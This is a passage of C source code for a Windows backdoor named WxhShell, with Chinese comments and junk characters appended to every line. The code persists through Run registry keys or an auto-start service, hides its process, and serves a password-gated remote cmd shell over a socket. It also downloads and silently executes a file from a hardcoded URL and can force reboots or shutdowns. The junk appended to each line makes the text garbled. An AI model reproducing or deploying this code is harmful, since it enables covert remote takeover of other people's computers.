    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b{X.lz0  
    else { rA @|nL{  
    closesocket(wsh); NdRE,HWd?$  
    ExitThread(0); q6x}\$mL  
    } :`0,f?cE  
    break; P]L%$!g  
    } 8: uh0  
  // 获取shell )QmmI[,tq  
  case 's': { gV*4{ d`  
    CmdShell(wsh); -w'g0/fD  
    closesocket(wsh); ' -aLBAxy  
    ExitThread(0); TGjxy1A  
    break; XjYMp3  
  } }g[Hi`  
  // 退出 hqwsgJ  
  case 'x': { wzZ]| C(vp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A>(EM}\,  
    CloseIt(wsh); Iv{iJoe;UH  
    break; QD1&"T<.d.  
    } IWwOP{ <ZQ  
  // 离开 t{B6W)q  
  case 'q': { {7v|\6@e3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zB\ 8<97 C  
    closesocket(wsh); {nS(B  
    WSACleanup(); RusiCo!r  
    exit(1); D>`{f4Y  
    break; f<R 3ND)  
        } b>d]= u  
  } aD~S~L!  
  } [~;wCW,1  
j-qg{oIJ  
  // 提示信息 cvx"XxE,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZT,au SX  
} Cn.dv-  
  } Upm#:i|"  
"g(q)u >  
  return; $lJ!f  
} b0tbS[j  
YYvX@f  
// shell模块句柄 CM `Q((  
int CmdShell(SOCKET sock) 0|4R8Dh*-  
{ j9cB<atL  
STARTUPINFO si; g1B P  
ZeroMemory(&si,sizeof(si)); U<'$ \ P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QqXaXx;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PC%_^BDW  
PROCESS_INFORMATION ProcessInfo; B E#pHg  
char cmdline[]="cmd"; "#{b)!EH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AAF;M}le,  
  return 0; /N@NT/.M<  
} mmMiA@0  
=s S=  
// 自身启动模式 IEfm>N-]  
int StartFromService(void) GW]t~EL  
{ XD[9wd5w8  
typedef struct lHu/pSu@k  
{ 9(bbV5}  
  DWORD ExitStatus; GW9,%}l^;  
  DWORD PebBaseAddress; &((04<@e  
  DWORD AffinityMask; +^$;oG  
  DWORD BasePriority; HS1{4/  
  ULONG UniqueProcessId; kC'm |Y@T  
  ULONG InheritedFromUniqueProcessId; >(sS4_O7N  
}   PROCESS_BASIC_INFORMATION; &3*r-9BZ  
XU}" h&>  
PROCNTQSIP NtQueryInformationProcess; Fo]]j=  
bnE&-N*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O [=W%2I!i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zh?n;n}  
M@0S*[O{"  
  HANDLE             hProcess; )EN ,Ry  
  PROCESS_BASIC_INFORMATION pbi; 26j-1c!NGd  
gX* &RsF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4@-Wp]  
  if(NULL == hInst ) return 0; 3V]psZS  
;[|+tO_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {|e7^_ke  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ikPr>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J/[PA[Rf  
UG<<.1JL  
  if (!NtQueryInformationProcess) return 0; WkoYkkuzj  
pU u')y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D P:}<  
  if(!hProcess) return 0; g G|4+' t  
4&~*;an7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I*(7(>zgyv  
gER(&L4[  
  CloseHandle(hProcess); W7IAW7w8U  
rE\&FVx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *`tQX$F  
if(hProcess==NULL) return 0; U.|0y=  
t 9_&n.z  
HMODULE hMod; CY)[{r  
char procName[255]; EhN@;D+  
unsigned long cbNeeded; Ba n^wX  
=1mIk0H`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3LVL5y7|  
&2W`dEv]?  
  CloseHandle(hProcess); f{'N O`G  
JJP!9<  
if(strstr(procName,"services")) return 1; // 以服务启动 y<y9'tx  
_Aw-{HE'  
  return 0; // 注册表启动 j9= )^?  
} 1mx;b)4t  
@9MrTP  
// 主模块 EFs\zWF  
int StartWxhshell(LPSTR lpCmdLine) a & 6-QVk  
{ j!a&l  
  SOCKET wsl; dp:5iuS  
BOOL val=TRUE; ?gXdi<2Qn  
  int port=0; QRER[8]r$  
  struct sockaddr_in door; K*"Fpx{M  
e4 cWi  
  if(wscfg.ws_autoins) Install(); PC)V".W 1  
PS??wlp7  
port=atoi(lpCmdLine); M5]$w]Ny9  
5eas^Rm  
if(port<=0) port=wscfg.ws_port; lq27^K  
W1O m$S1  
  WSADATA data; @h7 i;Ok  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }i\_`~  
4Y@q.QP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r / L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zM'2opiUY  
  door.sin_family = AF_INET; gac/%_-HH7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Ub\8<HfJU  
  door.sin_port = htons(port); E^m2:J]G  
TI3@/SB>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q!W+vh  
closesocket(wsl); =5h ,ZB2A  
return 1; M,P:<-J  
} (m=F  
w{Y:p[}  
  if(listen(wsl,2) == INVALID_SOCKET) { rVnolA*%  
closesocket(wsl); <P c;8[  
return 1; mmEe@-lE  
} ^^gV@fz  
  Wxhshell(wsl); 0ac'<;9]zP  
  WSACleanup(); "=9)|{=m  
ybgw#jv=  
return 0; m pM,&7}  
NW?h~2  
} Oxh . &  
97VS xhr  
// 以NT服务方式启动 6x! q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T- lHlm  
{ >zv}59M  
DWORD   status = 0; UC"_#!3  
  DWORD   specificError = 0xfffffff; [b@9V_  
F#7A6|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IQ9Rvnna  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ==~ lc;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K_BF=C.k  
  serviceStatus.dwWin32ExitCode     = 0; {`[u XH?3d  
  serviceStatus.dwServiceSpecificExitCode = 0; qg8T}y>  
  serviceStatus.dwCheckPoint       = 0; AW`+lE'?  
  serviceStatus.dwWaitHint       = 0; 1;[ZkRbzL  
4m/L5W:K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X1lL@`r.5  
  if (hServiceStatusHandle==0) return;  xXZ {  
 /w(t=Y  
status = GetLastError(); 7vK}aOs0  
  if (status!=NO_ERROR) }m-+EUEo9  
{ \jByJCN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dn= g!=  
    serviceStatus.dwCheckPoint       = 0; 62J -)~_  
    serviceStatus.dwWaitHint       = 0; BO-=X 78f@  
    serviceStatus.dwWin32ExitCode     = status; /;r k-I  
    serviceStatus.dwServiceSpecificExitCode = specificError; l":Z. J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;S^7Q5-  
    return; pkEqd"G  
  } &V7{J9  
/9 soUt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _cXLQ)-  
  serviceStatus.dwCheckPoint       = 0; 2sXX0kq~V  
  serviceStatus.dwWaitHint       = 0; `n~bDG>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ngQ]  
} !4!Y~7sI"\  
O8WLulo  
// 处理NT服务事件,比如:启动、停止 nHmi%R7k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RU GhhK  
{ Ptv=Bwg  
switch(fdwControl) 28PT1 9&  
{ t0gLz J  
case SERVICE_CONTROL_STOP:  k/}E(_e  
  serviceStatus.dwWin32ExitCode = 0; POc-`]6 <F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q:!.YSB  
  serviceStatus.dwCheckPoint   = 0; M }tr*L  
  serviceStatus.dwWaitHint     = 0; hKYA5]  
  { JGKiVBN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IH0qx_;P&  
  } )]C7+{ImC  
  return; I:%O`F  
case SERVICE_CONTROL_PAUSE: >gTrui{ ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M `bEnu  
  break; l*C(FPw4  
case SERVICE_CONTROL_CONTINUE: uWKc .  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H0\5a|X-  
  break; YDr/Cw>J  
case SERVICE_CONTROL_INTERROGATE: J^ BC  
  break; !<xeAo%8  
}; 6tg0=_c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3xGk@ 333  
} q!+m, !M  
t9B]V  
// 标准应用程序主函数 U.HeIJ#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! FVXNl  
{ Gdf*x<T1  
%rZJ#p[e)=  
// 获取操作系统版本 l~V^  
OsIsNt=GetOsVer(); |0$wRl+kN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }^ j"@{~  
L z'05j3!  
  // 从命令行安装 2,O;<9au<  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lg[_9 `\  
h tn?iLq  
  // 下载执行文件 Dk XB  
if(wscfg.ws_downexe) { RwC1C(ZP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #(G#O1+  
  WinExec(wscfg.ws_filenam,SW_HIDE); LE:nmo  
} kmXaLt2Z  
.oFkx*Ln  
if(!OsIsNt) { Cp 2$I<T  
// 如果时win9x,隐藏进程并且设置为注册表启动 @< @\CiM  
HideProc(); ^q0Ox&X  
StartWxhshell(lpCmdLine); 0*KU"JcXd  
} [LJ1wBMw  
else T};fy+iq  
  if(StartFromService()) E#=slj @  
  // 以服务方式启动 J m+;A^;  
  StartServiceCtrlDispatcher(DispatchTable); ;8 D31OT  
else 7TjK;w7xS.  
  // 普通方式启动 k )T;WCia  
  StartWxhshell(lpCmdLine); wZA(><\  
"`AIU}[_I  
return 0; UlN+  
} '8 ~E  
71?>~PnbH}  
<ZV !fn  
:3# t;  
=========================================== ;-1yG@KG  
H1FSN6'  
v<z%\`y  
A9[ELD>p  
x;cjl6Acm  
'bpx  
" wtDy-H n  
` qqUuFMM  
#include <stdio.h> C=6Vd  
#include <string.h> |3?qL  
#include <windows.h> O)qedy*&  
#include <winsock2.h> 'K=n}}&:  
#include <winsvc.h> \)?[1b&[_  
#include <urlmon.h> \?_eQKiZ3  
K 5SHt'P  
#pragma comment (lib, "Ws2_32.lib") G#&R/Tc5N  
#pragma comment (lib, "urlmon.lib") G:e 9}  
%hzl3>().  
#define MAX_USER   100 // 最大客户端连接数 gZ*8F|sg  
#define BUF_SOCK   200 // sock buffer Jm|eZDp  
#define KEY_BUFF   255 // 输入 buffer Ub8|x]ix  
{VPF2JFB[  
#define REBOOT     0   // 重启 Gmi w(T  
#define SHUTDOWN   1   // 关机 -$#'  
mRT`'fxK  
#define DEF_PORT   5000 // 监听端口 R30{/KK  
m 4Vh R_  
#define REG_LEN     16   // 注册表键长度 {[ j+ y  
#define SVC_LEN     80   // NT服务名长度 AK/_^?zAs  
xA-O?s"CY  
// 从dll定义API P d@y+|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *t'q n   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TM8WaH   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S"iz fQ@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UGNFWZ c  
{]aB3  
// wxhshell配置信息 'G!w0yF  
struct WSCFG { \h DH81L  
  int ws_port;         // 监听端口 n"'1.  
  char ws_passstr[REG_LEN]; // 口令 p-H q\DP  
  int ws_autoins;       // 安装标记, 1=yes 0=no ).0h4oHSj  
  char ws_regname[REG_LEN]; // 注册表键名 R!i9N'gGG(  
  char ws_svcname[REG_LEN]; // 服务名 $:R"IqDG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \Ze"Hv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]e?cKC\"e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MX-(;H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OQ>r;)/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Br2ZloJ@+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G!J{$0.  
2-9'zN0u  
}; ]urrAIK  
1'dL8Y  
// default Wxhshell configuration *7'}"@@  
struct WSCFG wscfg={DEF_PORT, `k}  
    "xuhuanlingzhe", ewYZ} "o  
    1, T/#$44ub  
    "Wxhshell", HF9d~7R  
    "Wxhshell", ;Zb+WGyj  
            "WxhShell Service", Y3+GBqP  
    "Wrsky Windows CmdShell Service", jrGVC2*rD  
    "Please Input Your Password: ", )E<<  
  1, 1>$ fLbmkI  
  "http://www.wrsky.com/wxhshell.exe", |0vV?f$  
  "Wxhshell.exe" UwuDs2 t  
    }; _VFxzM9f  
#\kYGr-G)  
// 消息定义模块 %Y"@VcN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [:geDk9O#'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tti]H9g_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N'nI ^=  
char *msg_ws_ext="\n\rExit."; =FkU: q$  
char *msg_ws_end="\n\rQuit."; $*ujX,}xG  
char *msg_ws_boot="\n\rReboot..."; v Dgf}  
char *msg_ws_poff="\n\rShutdown..."; &[*F!=%8  
char *msg_ws_down="\n\rSave to "; tkBp?Wl  
0p\cDrB ?  
char *msg_ws_err="\n\rErr!"; ^Jb=&u$  
char *msg_ws_ok="\n\rOK!"; kK]JN  
;6g&_6  
char ExeFile[MAX_PATH]; <QGf9{m  
int nUser = 0; O mkl|l9  
HANDLE handles[MAX_USER]; wV- kB4^4  
int OsIsNt; &BnK[Q8X  
F.)b`:g  
SERVICE_STATUS       serviceStatus; 6$qn'K$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #F\}PCBe'  
5`oVyxJ<  
// 函数声明 }R#YO$J7  
int Install(void); a $pxt!6  
int Uninstall(void); -7:J#T/\  
int DownloadFile(char *sURL, SOCKET wsh); |cwGc\ES  
int Boot(int flag); [bd fp a  
void HideProc(void); X p4x:N  
int GetOsVer(void); tL68 u[  
int Wxhshell(SOCKET wsl); U$R+&@;  
void TalkWithClient(void *cs); K4]c   
int CmdShell(SOCKET sock); 9/[3xhB4  
int StartFromService(void); VU7x w  
int StartWxhshell(LPSTR lpCmdLine); *Z*4L|zT  
d5gYJ/Qv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?ic7M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^J3\ U{B  
qF m=(J%  
// 数据结构和表定义 9s\;,!b  
SERVICE_TABLE_ENTRY DispatchTable[] = N>?R,XM V  
{ KlbL<9P >  
{wscfg.ws_svcname, NTServiceMain}, h$)},% e  
{NULL, NULL} uc@f#(-  
}; CN6@g^)P  
-`FPR4;  
// 自我安装 G<9UL*HU  
int Install(void) 8YJ8_$Z  
{ ZSj^\JU  
  char svExeFile[MAX_PATH]; @N?A 0S/  
  HKEY key; "71@WLlN  
  strcpy(svExeFile,ExeFile); ,6Ulj+l  
Y_n^6 ;  
// 如果是win9x系统,修改注册表设为自启动 d&n&_>  
if(!OsIsNt) { j8*fa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /P bN!r<1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {7!WtH;-  
  RegCloseKey(key); )En*5-1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h~rSM#7m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ydOJ^Yty  
  RegCloseKey(key); j,")c'r&dD  
  return 0; y=)Cid  
    } B`,4M&  
  } SXn\k;F<  
} @l~zn%!X  
else { |) {)w`  
*C*n( the  
// 如果是NT以上系统,安装为系统服务 5/-{.g   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Td%[ -  
if (schSCManager!=0) @Y":DHF5q  
{ %k(V 2]WF  
  SC_HANDLE schService = CreateService AL%H$I  
  ( :K{!@=o  
  schSCManager, =ja(;uC  
  wscfg.ws_svcname, tPh``o  
  wscfg.ws_svcdisp, MM8r*T4g/  
  SERVICE_ALL_ACCESS, }Z5#{Sd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D_fgxl  
  SERVICE_AUTO_START, ,B ]kX/W  
  SERVICE_ERROR_NORMAL, p`ai2`qC`  
  svExeFile, DDh$n?2fd  
  NULL, Tl9KL%9  
  NULL, _MfXN$I?}  
  NULL, g+Z~"O]$M  
  NULL,  qOO2@c  
  NULL _]W {)=ap  
  ); Ar4@7  
  if (schService!=0) Z)B5g>  
  { {U?UM  
  CloseServiceHandle(schService); 1DPgiIG~  
  CloseServiceHandle(schSCManager); $y~!ePKh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i,jPULzyjk  
  strcat(svExeFile,wscfg.ws_svcname); uXPvl5(Y?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kWs"v6B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;2X/)sxWz  
  RegCloseKey(key); h^#K4/  
  return 0; yZJR7+  
    } wmh[yYWc  
  } :|i jCg+  
  CloseServiceHandle(schSCManager); umV5Y`  
} / 0Z_$Q&e  
} bM`7>3 d7E  
|,k,X}gP  
return 1; X2PQL"`  
} 86(8p_&zC  
-z%| Jk  
// 自我卸载 wmu#@Hf/[h  
int Uninstall(void) o'S&YD  
{ |ho|Kl `=  
  HKEY key; Ba-Ftkb  
ts rcX  
if(!OsIsNt) { C]{:>= K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r9@4-U7v&  
  RegDeleteValue(key,wscfg.ws_regname); B 14Ziopww  
  RegCloseKey(key); V4Yw"J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h\GlyH~  
  RegDeleteValue(key,wscfg.ws_regname); h?H:r <  
  RegCloseKey(key); G  @ib  
  return 0; J}IHQZS  
  } lqPzDdC^>  
} gKK*` L~  
} JA'C\  
else { NbyVBl0=  
RM2<%$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G5~ Jp#uA  
if (schSCManager!=0) J{Fu8  
{ r|[uR$|Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gb]t%\  
  if (schService!=0) nRKh|B)  
  { u Ey>7I  
  if(DeleteService(schService)!=0) { }r`m(z$z  
  CloseServiceHandle(schService); &sJZSrk|  
  CloseServiceHandle(schSCManager); <0!/7*;#ZT  
  return 0; ]<\Ft H  
  } 8:V:^`KaSs  
  CloseServiceHandle(schService); >gNVL (  
  } `4V_I%lJ&  
  CloseServiceHandle(schSCManager); G[7Z5)2B  
} Ph(bgQg  
} % j4  
v6B}ov[Y2  
return 1; Qp9)Rc5  
} G-?y;V 1  
 +c@s  
// 从指定url下载文件 cTW3\S=  
int DownloadFile(char *sURL, SOCKET wsh) t)Q6A@$:  
{ Ra%" +=  
  HRESULT hr; XI#1)  
char seps[]= "/"; =m{]Xep  
char *token; P9j[ NEV  
char *file; ~Dsz9  f  
char myURL[MAX_PATH]; ,U9gg-.Lp  
char myFILE[MAX_PATH]; 0Q]@T@F.  
+m Plid\  
strcpy(myURL,sURL); md8r"  
  token=strtok(myURL,seps); %hcn|-" F  
  while(token!=NULL) :]&O  
  { KtWn08D!  
    file=token; 5(F @KeH>  
  token=strtok(NULL,seps); e$krA!zN  
  } :_R[@?c  
X.)caF^j  
GetCurrentDirectory(MAX_PATH,myFILE); fh rS7f'Zd  
strcat(myFILE, "\\"); RL =  
strcat(myFILE, file); {%WQQs  
  send(wsh,myFILE,strlen(myFILE),0); y8/ 7@qw  
send(wsh,"...",3,0); s&-m!|P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tz0_S7h  
  if(hr==S_OK) q.]>uBAQ?  
return 0; xE+Nz5F  
else 1t"  
return 1; <[9{Lg*D  
&6*X&]V!Z  
} M~ =Bln5  
pa1.+~)  
// 系统电源模块 *$uj)*5,  
int Boot(int flag) +k=BD s  
{ W-9?|ei  
  HANDLE hToken; wBr$3:  
  TOKEN_PRIVILEGES tkp;  iC]=S}  
o#wDA0T  
  if(OsIsNt) { 6ybpPls  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SF?Ublc!   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *` }Rt  
    tkp.PrivilegeCount = 1; I7!+~uX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Yk4%ZJ{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); US<bM@[  
if(flag==REBOOT) { Gt9(@USK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m:EO}ws=  
  return 0; *_Y{wNF *  
} *Mu X]JK  
else { bDh,r!I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :q6j{C(  
  return 0; kjW Y{7b!  
} E yJWi<  
  } Eg&oAY.U  
  else { #:E}Eby/6I  
if(flag==REBOOT) { 0 t.'?=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5#Z>}@/  
  return 0; QIZ }7  
} @f<q&K%FJ  
else { :_ _z?<?(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KW^#DI6tr  
  return 0; qY^OO~[  
} pwq a/Yi  
} &PJ&XTR  
Hggp*(AQK  
return 1; 1:2 t4}  
} "AH1)skB:  
)2 E7>SQc~  
// win9x进程隐藏模块 ruMS5OqM  
void HideProc(void) 3@'3U?Hin  
{ !j"r}c`  
EJF*_<f9O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0Q\6GCzN\  
  if ( hKernel != NULL ) 83rtQ ;L  
  { "P4#Q_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \UKr|[P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jzqv6A3G  
    FreeLibrary(hKernel);  "u#T0  
  } x8L$T (^  
LQy`,-&  
return; FT0HU<." 1  
} mIJYe&t7)  
AF-4b*oB  
// 获取操作系统版本 x. d ;7  
int GetOsVer(void) |UA)s3Uhxb  
{ .nXOv]  
  OSVERSIONINFO winfo; 1: cD\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ns^[Hb[b'  
  GetVersionEx(&winfo); /, G-1E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wWaO"N]  
  return 1; (_2;}eg  
  else $+#Lq.3,  
  return 0; ) `u)#@x  
} u 3&9R)J1  
3vs;ZBM  
// 客户端句柄模块 zq(R!a6  
int Wxhshell(SOCKET wsl) Q& p'\6~  
{ 9NX/OctFa'  
  SOCKET wsh; Dwvd  
  struct sockaddr_in client; pq<302uBQ  
  DWORD myID; 3v oas  
)~((6?k4e  
  while(nUser<MAX_USER) xp+Z%0D  
{ (`z`ni  
  int nSize=sizeof(client); B2}|b^'I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R?,Oh*  
  if(wsh==INVALID_SOCKET) return 1; %<4ZU!2L  
eVDO]5?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "qb1jv#to  
if(handles[nUser]==0) "RZV v~BD  
  closesocket(wsh); >5,nB<  
else F(?A7  
  nUser++; d(LX;sq?  
  } x>Hg.%/c[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6gUcoDD  
&y164xn'h  
  return 0; .i^aYbB$X  
} 6xLLIby,  
f$\gm+&hXE  
// 关闭 socket qXI>x6?*  
void CloseIt(SOCKET wsh) JqX+vRY;dd  
{ RtE2%d$JT  
closesocket(wsh); =D1%-ym  
nUser--; Hchh2  
ExitThread(0); Sb9O#$89  
} bf9LR1  
"mBX$t'gb  
// 客户端请求句柄 a@>P?N~LA9  
void TalkWithClient(void *cs) -F&4<\=+  
{ 1 uKWvp0\  
o;d><  
  SOCKET wsh=(SOCKET)cs; jHP6d =  
  char pwd[SVC_LEN]; +7HM7cw  
  char cmd[KEY_BUFF]; +W{ELdup%q  
char chr[1]; Het5{Yb.  
int i,j; 5Z2tTw'i  
O@$wU9 D<  
  while (nUser < MAX_USER) { ]!v:xjzT  
;ALkeUR[  
if(wscfg.ws_passstr) { 9DAk|K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F;I %9-R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y|NL #F  
  //ZeroMemory(pwd,KEY_BUFF); ukZ>_ke`+  
      i=0; G-vBJlt=t  
  while(i<SVC_LEN) { vMDX  
(T0%oina  
  // 设置超时 bZf18lvij:  
  fd_set FdRead; rKK{*%n  
  struct timeval TimeOut; Q db~I#}m'  
  FD_ZERO(&FdRead); GS!7HphR  
  FD_SET(wsh,&FdRead); ;rD M%S@  
  TimeOut.tv_sec=8; zcn> 4E)  
  TimeOut.tv_usec=0; =TTk5(m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7RH1,k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Ha`>  
"4 Lt:o4x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qxw?D4/Y  
  pwd=chr[0]; 5)IJ|"]y  
  if(chr[0]==0xd || chr[0]==0xa) { %xa.{`}`U  
  pwd=0; GI]sE]tZ  
  break; XOk0_[  
  } tEj-c@`"x-  
  i++; Oa8lrP`(  
    } >?pWbL  
C(RZ09,.S  
  // 如果是非法用户,关闭 socket '+@q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gj\'1(Ju  
}  2s+ITPr  
|oYqkP|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `7f><p/q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !9w;2Z]uum  
f&z@J,_=  
while(1) { S 54N  
2;82*0Y%  
  ZeroMemory(cmd,KEY_BUFF); yu<'-)T.?  
&p."` C  
      // 自动支持客户端 telnet标准   r)9&'m.:  
  j=0; 1c$<z~  
  while(j<KEY_BUFF) { UJ}Xa&*H\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  .<0s?Q  
  cmd[j]=chr[0]; @xO?SjH  
  if(chr[0]==0xa || chr[0]==0xd) { G`a,(<kT;  
  cmd[j]=0; 9;fyC =  
  break; @L p;p$G`  
  } ?0ezr[`.  
  j++; Aqc Cb[1r  
    } fmDn1N-bG  
lur$?_gt  
  // 下载文件 m'L7K K-Y)  
  if(strstr(cmd,"http://")) { 'aq9]D_k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $r>\y (W  
  if(DownloadFile(cmd,wsh)) lphELPh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \0{g~cU4  
  else 2 /rDi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )]\?Yyg]  
  } GzC=xXON  
  else { R(i2TAaaU  
0%K/gd#S<  
    switch(cmd[0]) { c*5y8k  
  ~If{`zWoC  
  // 帮助 u-31$z<<5}  
  case '?': { +c8cyx:^f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9JG9;[  
    break; SkmLX@:(  
